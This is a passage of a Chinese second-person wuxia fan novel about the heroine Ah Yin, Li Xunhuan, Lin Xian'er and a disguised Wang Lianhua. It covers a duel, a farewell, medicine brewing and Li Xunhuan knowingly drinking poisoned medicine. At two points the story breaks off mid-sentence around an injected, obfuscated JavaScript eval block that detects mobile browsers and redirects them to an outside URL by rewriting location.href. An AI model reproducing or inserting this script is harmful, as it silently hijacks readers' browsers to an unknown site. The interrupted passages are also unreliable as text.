“我知道你们在想什么,你们不相信我的决心。”你笑了,对龙啸云道,“那么我告诉你,我不仅不会爱你,连杀你的决心也是很强烈的。” 你出手了,那剑光起时,庭院似乎也暗了三分。 下一瞬,李寻欢袖中飞刀堪堪射出,你反手便斜砍刀镡。"叮"的一声清鸣,那柄曾震慑江湖的小李飞刀竟被生生斜打入墙,刀身裂纹蛛网般蔓延。 你知道你若是对李寻欢出手,他绝对不会反抗。 可若你的目标是龙啸云,那么李寻欢也绝不能无动于衷。 你的剑光未停,屋内的烛火猛然一颤。 你用的是杀招,这意味着当你出剑便一定有人受伤。 你旋身掠过李寻欢身侧,剑锋刺向龙啸云,凌空划出新月弧光。李寻欢的瞳孔猛然收缩,竟急退而来只身挡在了龙啸云身前。 “让开!” 你说这句话时剑势未收,龙啸云已经避无可避地缩在墙角,但是李寻欢一动不动地挡在他身前。 你的剑锋不得不硬生生偏开,床边窗外的老梅突然拦腰折断,断裂的树干轰然倒地,渐起漫天雪雾。 雪与红瓣纷乱,洋洋洒洒,有白与红飘入屋内,落在你的发间。 剑明明未至李寻欢胸前,方才那剑气却还是无法避免地割裂李寻欢胸前的衣襟。 李寻欢猛然咳嗽起来,嘴角血珠坠地,你看见他左胸旧伤崩裂,苍青衣襟绽开暗红的花,他却仍固执地张开双臂:“阿音……咳咳……不要……” 你冷淡地看向李寻欢,问道:“你难道还能阻止第二次不成?” 剑再起。 这一次没有人能看清它的轨迹。 屋内的烛火忽然爆裂,每一破碎的火花都折射着剑光的痕迹,檐角铜铃发出尖锐悲鸣。 你握剑的手腕微转,剑脊折射的寒光竟仿佛在青天白日下劈出一道闪电。当最后一剑划亮龙啸云的眼眸,你看着他从迷茫到深深惊惧以至深知自己无法活命的灰败…… 谁人能阻挡天雷之怒呢? 李寻欢的咳嗽声撕心裂肺,他指尖扣着的第二柄飞刀在颤抖,刀锋映出你毫无波澜的眼瞳。 原先落在你身上的白与红被震起,仿佛漂浮逆流,细碎的冰晶顺着剑气盘旋上升,在你周身织成朦胧的雾环。 …… 除了你,没有人知道那样的一剑落下会有怎样可怕的结果。 更没有人知道,那可怕的一剑是怎样消弭于无形的。 当你的剑停下时,你听见了静默无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15060491|161584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声的房间里,三道如雷鼓一般的心跳声。 尽管如此,龙啸云的前襟还是裂开七寸长的豁口,露出肌肤上细如发丝的血线,那是被剑意逼裂的结果。 可是他仿佛已经呆住了,并未察觉到痛,他的魂魄好像也随之消弭于那雷电之中。 半晌,他如同劫后余生一般瘫软了下去,面色苍白如纸。 你最终还是停手了—— 你若要让龙啸云死,他根本来不及有那么多的情绪。 而李寻欢仰头望着你收剑的姿态,瞳孔里还烙着那道未散的剑光残影。 * “你要记住,你本该是死了的。” 你抛下这句话,不再理会龙啸云,转身用剑尖挑起因内伤半跪在地的李寻欢的下巴:“他救你,我放过他,这算起来就成了你欠我的……” 他苦涩道:“阿音,我本就欠你很多……” 你看着他,阻止了他继续往下说:“我还没说完呢。” 你将方才算账的清单递给了他:“这是这么多年来我在你家的开支用度,虽然很多,但我们在一起多年你也是很开心的对吗?所以我也折算了一下我支出的情绪价值费。” 他的神色从茫然到渐渐明晰:“你……” 他仿佛已经明白,那一剑欲斩的不是性命,而是从前过往的情谊,那是你不得不展露的决绝之意。 你曾经那无数的情丝便也随着那一剑断了,你绝不会为已做的事而后悔,也绝不会回头再贪恋从前的美好。 “你以前对我很好,我对你也不错,所以我不欠你,你也不欠我什么了。”你想了想,觉得这姿势有点奇怪,反手将剑抛了给了林仙儿。 你蹲下,对着李寻欢道:“多谢表哥以前的照顾。从今往后的路,我要自己走了。” 你起身离开,依稀听见李寻欢发出了一声来不及出声就遏制住的呼唤。 你听见他说的却是不知何意的一句:“我是第一次看你出剑……” 林仙儿却忽然道:“这样惊悚的剑,我却已经看过四次。” 林仙儿说完这句话,从房间内跑出来一路追到你身边。 你不曾回头,淡淡道:“你跟着我做什么。我已经要离开李园了。” 林仙儿弱弱道:“当初若不是我装病,你出门说不定就能救下李寻欢,也就没有那龙啸云什么事了。我是不是错了?” 你迅速表明立场:“我可没有给你用药了哦,是你自己说装病的。” “……” 林仙儿从沮丧变成生闷气了。 她嘟囔道:“你若是觉得我做错了,就对我发火,不要就这样一个人离开。” “你若愿意,就和我一起走,毕竟我们的课程还没有结束。” 她愣一下,开心道:“好!” 你踩进了自己的小院们,看见你的学生们已经理好了东西等着你,她们殷切望着你,像一片温柔的彩云:“老师!我们要去哪里?” * 一年后,冬夜。 你和姑娘们提着花灯结伴游玩归来,看着她们互道晚安后各自回房,又打发了醉酒的林仙儿,你才有空一个人放松地一叹。 这一年,你们铺开了茶产业,同时你的武术课程也结了业。 你的学生的武艺虽然没有练到你这种程度,但也算是进了门,知道日后如何修行了。 你看了一眼桌上的花灯,又看了一眼和李园也没什么区别的你全款拿下的宅子,幽幽叹了口气。 虽然也舍不得,但是时候离开了。 你走的时候特意没有拿走桌上留着字的花灯,只身离去。 巷道上,月投下你孤单的影子,你走着,走着,直到清冷的光里出现了另一抹单薄的影。 “跟了这么久,总算是要出来一叙吗?”你笑着抬头,看见了李寻欢。 他一身月牙色的衣服,身形好像是从月亮上削下一片似的,他看着你,眉眼忧郁又温柔。 “阿音……是要离开了吗?” “嗯。” 他道:“若是因为我的缘故,你可以留下,李园给你,我走。” 你惊讶地挑眉:“这都一年了,表哥你还以为我们在吵架吗?” 看见他的眼神,你笑了:“这一年,我知道你默默帮了我很多,所以我原谅你以前的自作主张啦。我虽生气你罔顾我的意愿,却也理解你,我们是亲人,本也不会留下隔夜仇的。” “那你为什么要离开?” “你还记得从前吗?我身体不好,被表姨留在家里不能外出,大表哥却能和姨夫一起在外游历。那时我和表姨生闷气,你偷偷和我说——” “长大后,我带你去。” “长大后,你带我走。” “可是表哥……”你想对他说什么,却觉得这好像是对他的指责,于是你便不再说了。当初他对你已经足够好,你的等待只是一种投桃报李。 你没有说,他却明白了,他问:“出去游玩是很好的,如果我现在说……还来得及吗?” 你没有回答,你只是笑着看他,他便懂了。 他没有问你归期,就像你从不曾问他归期 ,他只道:“可曾需要我做什么?” 你闻言,回头遥遥看了自己的宅院一眼,道:“帮我照看她们一下,尤其是仙儿,她太年轻又太较真,我怕我走以后她会受到伤害……若可以,我希望你能教教她。” 李寻欢默然半晌,叹息道:“只是如此?” 你思忖后道:“不要因为误会而苛责她,她是我见过最坚强又聪明的女孩子,还有……她从前和我说她喜欢过你,那都是孩子话,等她成年……” 李寻欢长长吸了口气,打断了你:“我李寻欢虽然不是个人,却也没有这般不是人,我不会招惹她的。” 你低低笑起来:“我因而说你们有误会,你莫要给自己脸上贴金。她当初虽和我说喜欢你,后来却坦白自己是移情了,将我当作了她早逝的娘,害怕我所托非人这才有此一试。我是想说,当初我离开李园什么也没有带走,待她成年,你就将我母亲留下的嫁妆交给她吧。” 李寻欢愣住,随后苦笑道:“你……你……” 他你了半天,却说不出话了。 你问道:“倒也不必这般不舍吧?你就当她是我的女儿,你便是她表舅,终究是一家子的人。” 李寻欢知道你是在插科打诨逗他发笑,可他笑不出来,他道:“家人……本该是听了就欢喜的人,可为什么你说的这句话会叫我这般难受呢?” 你无奈道:“实话实说罢了。” “你对她很好。” “因为她是我的救命恩人,”你顿了顿,难以启齿道,“而我是她的杀父仇人。” “……” 你笑了:“你看我欠她这么多,没将你赔给她你就偷着乐吧。” 李寻欢再次沉默半晌,道:“你可还在怨我?” “我若还怨你,你现在就该被我说哭了。” 他继续苦笑:“你怎知我现在不想哭?” “那……抱歉,我以为自己已经很委婉。”你想了想,上前轻轻抱了抱他,“李寻欢,后会有期。” 在他像从前那样千百次抱住你之前,你退后了一步,然后错开他离去。 你知道他在看你,你中二地伸起右臂摆摆,大步离开。 怨他?当然啦,你能记一辈子他犯的错。 可如果是一辈子别离,又难免记得他的好,于是这一次告别你也格外宽容了。 * 你再次出海。 奇怪,为什么要说再? 晨雾朦胧中你发现有一艘船已经要启航,乘船的那队人是三男一女,脸庞在雾中看不清晰,可是身姿飘逸绰约。 你耐心地在码头等待下一艘船,好一会儿才被人提醒说今日出海的船都被上一艘的船客租走了。 于是你跑向那即将开走的船,大声喊道:“等一下!等一下!带我一个可不可以!” 22.第 22 章 幽静的药居中,红泥小炉上的药吊子发出咕嘟咕嘟的悦耳声响,犹如细雨敲打芭蕉,引人遐思。你的心绪随着那药香轻轻飘摇,心中泛起一丝忐忑。 其实你让林仙儿为李寻欢送药一事,是有些拿不准的。 因此时间退回至还在煮药的时候,你也不免问了王怜花一句:“你说,这法子会有用么?” “李寻欢最重恩义,”王怜花正用他的折扇轻扇炉火,炉火映照着他俊逸的面庞,柔和了他的外表,竟给人一种温暖的感觉。 他袖口银线绣的忍冬纹在火光里若隐若现:“仙儿姑娘贴心照顾,又怎叫人不动容?若是仙儿姑娘为熬药烫伤了手,这份伤……咳,我是说这份情,也够他承上半个月。” 可你最见不得苦肉计,你将几个橘子放到了炉子边缘的地方围着药吊子烤,一边问道:“为什么煮个药非得烫伤?你煮了这么多药烫伤了几次?经常烫伤的话只会觉得你是个笨蛋,做事毛糙,那这端的药哪有用心可言?我都害怕药汤里全是不小心掉进去的人皮屑。” 你联想到王怜花的几次骚操作,生气了:“自我感动的又事情算什么?徒惹人厌。” 王怜花一顿,明显知道你是打算翻旧帐了。他面苦着看向你告饶:“不过是小小伎俩,不用又何妨,阿音莫怪。” 你翻了个白眼,坐到了边上的摇椅上。 王怜花则捻起一粒贝母,假装很忙又很新奇地看着这药。 他看了你一眼,又看了一眼,随后做不经意道:“这川贝啊,当选松潘松贝,其特点就在于‘怀中抱月’,你看这大瓣抱小瓣,未抱部分像不像新月?” 你望着他指尖的米白色的贝母,只觉得它嘴巴尖,屁股圆,形状像个薏仁米大小的白屁桃,浑然没有王怜花说得那般诗情画意。① 你摇摇头,唇角却因为你自己的想法而流露出几分笑意。 不得不说,王怜花此人虽然行事有时叫人不齿,可他好好说人话时又别具风雅和趣味,加之他学识渊博,于是偶尔的几句话竟让你有做笔记的冲动。 在王怜花眼中,一切的药材好像都颇具情调,他道:“此药方配的枇杷叶需选霜降后摘的,背面绒毛密如星斗,还有这杏仁需先以井水浸去苦味,再与松贝同煎三沸……” 你便听得兴致盎然,一边在摇椅上摇摇晃晃,一边时不时喝一口茶水,听着王怜花为你给林仙儿给李寻欢熬药时的娓娓道来——虽然有点绕,不过也不难理解:表哥的伤是因他而起,本就该由他负责煮药,林仙儿起到一个表面功夫的作用。 过了一会儿,你实在等不了橘子烤好,就开始剥皮吃它了,你起身时,正看见王怜花将紫苏叶叠成了小舟放入了药汤。 那小舟的材质难折,在他的手里却很是可爱。他这么大一个人了,煮药时却也玩心不减,让你想起泡澡时要放小鸭子的你自己。 你被他的行为逗得一乐,打趣道:“《雷公炮制药性解》说‘紫苏入肺、脾二经’,你折成小船是想让它载药性游走周天?” “阿音博览群书,叫我自愧不如,已不敢班门弄斧。” 啊,他在靠自谦来夸你来着。 你这人另一大缺点就是容易飘飘然,属于听多了夸奖不仅不谦虚还更爱吹牛的类型。 你干咳了一声,站起身来背起了手,宛若领导视察,实则在大脑中疯狂搜索所学知识。正好,你瞥见了边上那被王怜花切的细碎的紫菀叶,看似夸赞他,实则卖弄道:“小王,想不到你连陶弘景的《本草经集注》都批注过,能将紫菀切如发丝,可是要‘以款冬为使’?” “阿音好眼力。” 药吊子忽然沸起,他笑着垫了湿布揭开陶罐,氤氲的水汽下,沸水浮沉着淡黄色花蕊:“这罐底下正铺着炙过的款冬花,莫怕它苦——” 他忽然压低了声音,与你悄悄道:“我特向城南老槐讨了半块野蜂巢同煨。” 你愣了愣,过了一会儿才明白他是掏了人家小蜜蜂的老巢了,你被他做贼心虚的语气逗笑了。 他见你笑了,便放缓和了声音道:“添了这蜜,止咳更添三分温润,你会喜欢的。” “你下次去采蜜,叫上我看,我还没有见过呢。” “好,待到三月三,咱们就去,顺便去采龙葵嫩芽,再配几个春笋青团。” 你畅想了一下春日风情,在李园闷了大半个月的心情也好了许多,不由得戏谑道:“你煎药煎出如此诗情,难怪要用松柴文火——武火可煮不出这般风雅。” “非也非也,”他舀起一勺舀汤盛入碗里,“武火煎药如烈马疾驰,须得麻黄、附子这般峻药才压得住。这止咳方却似抚琴,七分文火慢煨,三分离火添香。你闻这药香……像不像江南梅雨时节?” 想来他一定不是江南人了,你评价道:“等你这琴上浸了水气,画上长了霉点,就知道梅雨时节和诗情画意毫不相干了。” “看来阿音曾受其害。” 他笑着将药碗推至你面前:“趁热喝了,当心这一寒一燥,诱发旧疾。” …… 这药你尝过,甜甜的,香香的,因而后来给李寻欢准备的那份被不小心打翻在地后,你也有些遗憾。 你是个很想和别人分享好物的人来着。 “你手没有烫着吧?” 林仙儿委屈巴巴地看着你,抱怨道:“手倒是好着,心情却坏了,我不过是好心给李公子端药,却讨了个没趣。我有这闲工夫,还不如去给姐姐做几个小菜呢……姐姐……” 你知道表哥不是会无缘无故发脾气的人,未知全貌,本不该评价,但谁能挡得住林仙儿软软地撒娇呀?她实在太好看,就像一只漂亮的布偶猫。 你只能对李寻欢道:“表哥,仙儿年纪还小,你不要同她计较。” “姐姐!” 林仙儿闻言,便将头埋到了你的肩膀上似是抱怨,又像是得意。 而李寻欢的目光则在你和你身侧的王怜花之间流转,眼底是复杂和深沉的交织。你知道他的苦闷,却没有刻意点明,因为他是习惯压抑自己的苦闷的,他的肩膀似乎不自觉地颓着,仿佛被什么重担压得几乎喘不过气来。 你感受到了李寻欢的视线,你本该升起几分愧疚,可你却也不觉得自己做错了。 你相信一个人的生命很漫长,至少对你而言,痛苦只不过是路上的消遣品,是往后能够咀嚼的回忆。或许你现在的行为会让他痛苦,可日后若是他真的为林仙儿动心,又何尝不会感激你的退让呢? 再者而言,真正应该痛苦的难道不是你么?因为你既要忍受他对你“移情别恋”的怨,更要忍受自己割舍十多年情感的疼——但是你不后悔。 因为你知道割舍的疼痛是短暂的,就像当初你因为弄丢了一个玩具而难受了好一会儿,后来却有更新奇的玩具。你知道,日后你还会认识许多人,结下许多缘,但是李寻欢和林仙儿若是彼此错过,或许就真的错过了。 你为自己的伟大而感动了一会儿,就听见得了便宜还卖乖的仙儿哀怨道:“小李探花嫌药苦直说便是,何苦糟蹋姐姐的心意!” 你面带死亡微笑盯着林仙儿,眼神犀利得仿若质问:不是说好了是你替表哥煮的药么? 不过你却也不想在这事上同她计较,安慰她道:“表哥肯定也不是故意的。” 然后你看着李寻欢,轻轻叹了口气:“表哥,仙儿不过是想让你早些痊愈。” 李寻欢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15087496|161584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面色一白,原本还在强忍不适,此刻忽然剧烈咳嗽起来。 “寻欢兄弟,你怎么了?” 王怜花的声音带着几分讶异,李寻欢被这声音惊得一颤,手中的瓷片“当啷”坠地。你还未看清什么,林仙儿已经拉着你转身往外退了几步:“姐姐,你身子弱,不要靠这么近,当心过了病气。” “……” 此时的李寻欢已经很轻地对王怜花道了一句:“李某残躯,不劳大哥费心了。” “你同我客气什么,你且坐着,地上的瓷片我来收拾……哎,你的手……” 你闻言转头,就听李寻欢提高了声音压过了王怜花的话,语气已有几分坚决:“龙大哥,林姑娘说得对,你们还是莫要过了病气。” 他说着,请王怜花离开,走到门口时,他看了你一眼,你以为他要和你说些什么,最终他只是一言不发,默默关上了门。 门合上,你看向王怜花,却见他对你微微一笑,摇了摇头,一副自己也不清楚发生了什么的模样。 你忍不住踹了他一脚,你总觉得这狗东西在和你演戏。 他便乐道:“阿音,你发脾气也莫要伤了自己,我是皮糙肉厚的不打紧,但怕你脚疼。” 林仙儿捂唇一笑,边走边道:“龙公子,你在小李探花房前这般高声是何心思?也不怕打扰了他休息。” 王怜花闻言,深以为然地点点头,做了一个请的手势,等你们离开了那房间门口后。他走到你左侧,轻轻道:“仙儿姑娘思虑周到,对我兄弟情深意重,叫人好生羡慕。” 他说完,又转头对你道:“不像我,我天生嘴笨,不讨女孩子喜欢,也不知道该如何叫阿音称心。” 你再次翻了个白眼:“你可得了吧。” 你右侧的林仙儿冷笑了一声:“别的且不说,你厚脸皮的死缠烂打倒也是小李探花拍马都比不上的。” 王怜花不以为耻,反而哈哈大笑道:“仙儿姑娘过誉了。” 林仙儿的笑容有些维持不住,刚要反唇相讥,你挽住了她的手,凑到她耳边道:“别搭理他,叫他演独角戏给你看好了。这种人越理越来劲儿的。” 林仙儿便笑了,乖乖地对你“嗯”了一声,有些挑衅地侧过头看了王怜花一眼。 王怜花挑了挑眉,也笑了笑,一副不和小孩子计较的模样。 午后的风吹来,在日头的照耀下暖呼呼的,真的是春日将要来临了。 然而你看着梅花零落在地上的堆砌的花瓣,心中平添几分不舍之情。 林仙儿注意到了你的情绪,轻轻道:“前些日子我在收集梅花做梅香粉,已经快做好了,正要给姐姐送来呢。” 她说完,离开你的手,跑着过去,折下了树上还开着的梅花给你带来。 她将其中一小枝梅花别在了你的头发上道:“小时候我娘便喜欢给我戴花,姐姐你气质出尘,仿佛由雪而生,梅花正配你。你闻闻这花香,你喜欢吗?” 你凑到了她递过来的梅花束里,鼻尖直接贴到了梅花软软的花蕊上,在一股夹着花粉的幽香里,点点头:“喜欢!” “喜欢就好!”她说完,又道,“对了姐姐,先前那梅花树上的雪人不是我打碎的,我只是为做香粉,去采梅花而已。” 你恍惚了一下,才想起不久前你与李寻欢月下搭雪人的场景。 以及林仙儿为你簪花的那一刻,你其实忽然想起,你已经很久没有自己采花簪在发上了,只因鲜花易逝,李寻欢会用沉香木为你雕出各种花钗替代那些鲜花。还记得你及笄那年,李寻欢雕了十二支花钗送你,正对应一月一花,其中就有梅花钗。 你扯起嘴角对她笑了笑,轻轻道:“我知道了。” 23.李寻欢视角 当林仙儿打碎药碗,清脆的碎裂声引得阿音跑进来时,李寻欢的喉间正泛着令人不适的血腥气,掌心被瓷片刮出的伤口正隐隐作痛。 他望着泼洒在青砖上的褐色药汁,那原本蒸腾而起的袅袅热气,在寒意中凝成白雾,然后渐渐冷却、消失。 林仙儿的手指正紧紧攥着阿音的衣袖,她那葱绿的锦缎上还沾着少许湿润的药渍,不知会不会混杂了阿音袖口熏染的“雪中春信”。 那是白梅冷香混着檀木暖香的味道,当阿音拢住他的脖颈,就会带来这一味,让他想起守岁时她发间那枚被炭火烤得温热的梅花木簪——彼时她就靠在他肩上,发簪贴在了他的皮肤。 “表哥,”阿音的声音清脆而冷冽,像雪后初晴时屋檐下坠落的冰凌,“仙儿不过是想让你早些痊愈。” 李寻欢握着瓷片的手指微微痉挛,这薄薄的瓷片此刻重逾千斤。鲜血从虎口浸染到瓷片,他忽然剧烈地咳嗽起来,每一次咳嗽都像是在撕裂他的肺腑。 “寻欢兄弟,你怎么了?” 龙啸云的声音带着几分讶异与关切。 李寻欢被这声音惊得一颤,手中带血的瓷片“当啷”坠地,映射出阿音的眉眼。他有些焦急地抬头看向阿音,心中五味杂陈,他也不知道那一瞬间自己是惊慌的隐瞒多一些,还是对她发现自己受伤的隐蔽的期待更多一些。 但是林仙儿拉住了阿音转身:“姐姐,你身子弱,不要靠这么近,当心过了病气。” “……” 阿音终究没有发现他的伤口。 他不知是松了口气,还是无端陷入更深的惆怅。 李寻欢苦笑了一下,面对龙啸云的关心,他轻轻道:“李某残躯,不劳大哥费心了。” “你同我客气什么,你且坐着,地上的瓷片我来收拾……哎,你的手……” 龙啸云惊讶低呼,阿音闻言转过头来,但龙啸云挡在了他们之间,因而仍旧什么也看不见。 李寻欢忽然觉得,人与人之间本就该藏起一些伤痛,以免在这浩浩然的宁静天地里多了太多嘈杂。这房间里如果只有他和阿音两人,那么正好。但如果三人,他就有些招架不住了……现在这里有四人,于是未免吵得他心烦意乱。 他谢过了龙啸云的关心,将他们送出了门外,在他关门的一刹那,他看清了阿音的欲言又止。 她在关心他。 是以他很想问她一句:“你说仙儿不过是想让我早些痊愈,那么你呢?” 你为什么要借她人的手来关心我呢? 不过他最后什么也没有问,他怕自己问时的怨气太大,让她伤了心——他知道阿音是为了他和林仙儿好,这点他从未怀疑过。 合上门的那一刻,李寻欢看见门外的人影的动作,阿音泄愤似的踹了一脚龙啸云。龙啸云非但不生气,反而很开心地道:“阿音,你莫要生气……” 他们都知道,如果阿音真的生气,绝不会这样小打小闹,这动作反倒说明他们最近的情谊变深。 李寻欢猛地别过头,脊背不小心撞上了冰凉的门板。他跌跌撞撞地远离了门边,喉间的腥甜终于压不住,咳嗽声里几点猩红溅在了月白的中衣上。 他跌坐回了原位,手按在桌上支撑着自己,指尖抚过桌上的银刀,银刀刀柄上的缠丝纹是阿音亲手做的,现在已经染上了血迹。她每年会送他一把自己做的飞刀,飞刀三寸七分长,应和他的生辰。 那些飞刀的花纹各有寓意,其中这一把就刻有“欢喜”二字,是她希望他能日日欢喜、事事顺心。可如今听得廊下那越走越远的说笑声,他不仅不觉得欢喜,还觉得肺部里扎满了冰碴。 李寻欢看着地上的药汤,里面一些细细碎碎的颗粒,他已然看出是晒干的桂花。 去岁秋日,她的学生给她做了一桌的菜,几乎每道菜都有桂花的芬芳,只因她喜欢这种甜蜜蜜的味道——她还说他很像桂树。 而今这甜香里掺杂了川贝的苦,像极了命运的嘲弄。 * 暮色将垂时,林仙儿又为他送了一次药。这一次,她手指托着木盘的地方因为用力而泛起月牙白。 她将药碗放在桌上,轻推至李寻欢身前,眼波流转间,言辞恳切:“这几日姐姐天天陪着龙啸云,我怕姐姐就真的被那姓龙的勾走了魂,叫仙儿替你不值……你将这药喝了,快些好起来吧,姐姐也不用两头挂心了。” 她靠近时,李寻欢捕捉到一丝异香,那是伽罗香的味道。这种产自暹罗的奇香能引动气血,最忌与川贝同用。 李寻欢神色不明地看向林仙儿,在她殷切的目光里,他用银匙在药碗里一搅,药汤里浮沉的淡黄花蕊,那根本不是款冬,而是形似的闹羊花。 李寻欢淡淡道:“林姑娘可知,李某不敢说饱读医书,却也曾给阿音煮过好多次止咳汤。你这药煎得太急,蜜蜡碎屑都未化去,怎么就端上来了?” 银匙磕在碗沿发出清响,林仙儿捻着衣带的手指倏忽收紧,她的笑意消失了:“我听不懂你的意思。” “伽罗香、闹羊花、急火蜜蜡……这三味相冲,会让人五内如焚。” 李寻欢问道:“我应当是与你无冤无仇,怎么就值得林姑娘你相害?” 林仙儿如同被他的话语戳伤,她肩头微微颤动,咬住了唇,目露惊讶:“这方子是龙啸云给的,药也是他熬的,我不过是个端药的,小李探花如何这般揣测我……” 话音未落,她的眸子里已经覆了一层薄泪:“想来是我愚笨,叫人做了手脚都不曾察觉!” 她忽而倾身上前,染着凤仙花汁的指尖刚刚要触到药碗:“快别喝了,我这就去告诉姐姐龙啸云其心可诛——” 话语戛然而止,李寻欢扣住了她手腕,瞥见她袖口盖住的手腕上,几点烫痕犹新。 “闹羊花需要猛火急煎放得药性,林姑娘这烫伤……”他松开手,看那抹红痕迅速被林仙儿收入绫罗,“倒与煎药时辰对得上。” 林仙儿踉跄地跌坐在一边的凳子上,袖子扫落案上的木雕,落地声里她受伤一般呜咽起来:“您也知道我不通药理,只会给姐姐做些清粥小菜。龙啸云今日在药居久待,仙儿人微言轻,终究比不得你们兄弟情深……” 她言罢抬眼,泪珠将坠未坠地悬在睫上:“可叹姐姐还想你我二人冰释前嫌,特意让我端药,却不知您对我心有成见,倒正好叫那恶人暗中得意了。” 李寻欢笑了:“林姑娘可知,这惊讶的样子在面上摆久了,就演得刻意了。若不是你,还有谁会做这么狠毒的事情?” “你们不常说无毒不丈夫么?男人的嫉妒心难道不是天下最可怕的东西?” 林仙儿擦拭着眼角的泪痕,好似庆幸地一笑:“还好小李探花慧眼如炬,察觉到了这药有蹊跷,不然遭了他人毒手,姐姐可要心疼死了……不过这也是个好机会不是?” 林仙儿看向李寻欢:“这药除了我,就只有龙啸云和姐姐经手。姐姐自然不会做这种腌臜事,比起龙啸云,我也自信姐姐会相信我的清白……小李探花,你这兄弟要加害于你,你就无动于衷么?” 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李寻欢的心忽然变得很复杂,其实阿音虽然总是嘴巴上得理不饶人,但实际上很少拜托他什么事。反而是他,多次从她身上得到慰藉。 李寻欢记得有一年,他答应阿音上元节一定回来,但路上因为有事耽搁了,导致他归家太晚。 那时夜已很深了,路上早已没有了行人,他背后来时的路是黑夜,而他的前方,却是提着琉璃灯的阿音——她拿着蜡烛,一盏一盏地将被寒风熄灭的灯点着,谁也不知道她等多久,又走了多久才将一路的灯笼点亮,那两边的灯火宛如接引归人的天河,火光照映着她晶莹的指甲也变了红。 那一夜,她察觉到什么,猛地绽开笑颜向他跑来,眸光映衬着星河一般的灯火。 此刻,李寻欢看着回廊那头人的秋水般的眸子,那里盛着的关切与从前别无二致。 他忽然笑了一下,端起药汤仰头一饮而尽。 剧痛从丹田炸开的瞬间,他看见阿音询问龙啸云的唇语:“表哥的面色好差,莫不是发热……” 李寻欢望着回廊另一头的那人,忽然觉得距离是那么远,因为那是她不愿跑过来的距离。他低低喃喃道:“你当真要撮合我与林仙儿?” 然而这句话除了林仙儿,谁也没有听见。林仙儿一愣后,扑进了他的怀里,伽罗香的甜腻混着药性在血脉里奔涌,混着闹羊花的药性仿佛扎进千万根银针,他听见阿音在说话,可是声音仿佛隔着重纱。 他将林仙儿推开时,那回廊上已经没有了人影。 阿音一定是看到了方才林仙儿抱住他的那一幕,那时她是乐见其成多一点,还是难过多一点? 他不知道。 “姐姐总说我孩子心性,却不知道最天真的明明是她……” 房间内只有林仙儿的叹息,她用那染着蔻丹的手指理了理有些乱了的鬓发道:“你明知道这有毒,又是何苦?” 李寻欢苦笑一声:“你走吧……现在你该如意了?” 剧痛撕裂胸腔,那瓷碗终究不慎被他带落迸裂,视野倾倒的刹那,他看见林仙儿俯身时簪头的珍珠颤巍巍晃过眼前。 这是他昏厥前最后的记忆,是窗外被积雪折断的梅花枝。身上那刻骨的疼痛,让他想起与阿音十四岁那年,她握着生病的他的手说:“你把痛苦全分给我就好了。” 然而这一次,没有人会在床边等待他的好转了,唯有血腥味在齿间蔓延,像是最苦的药。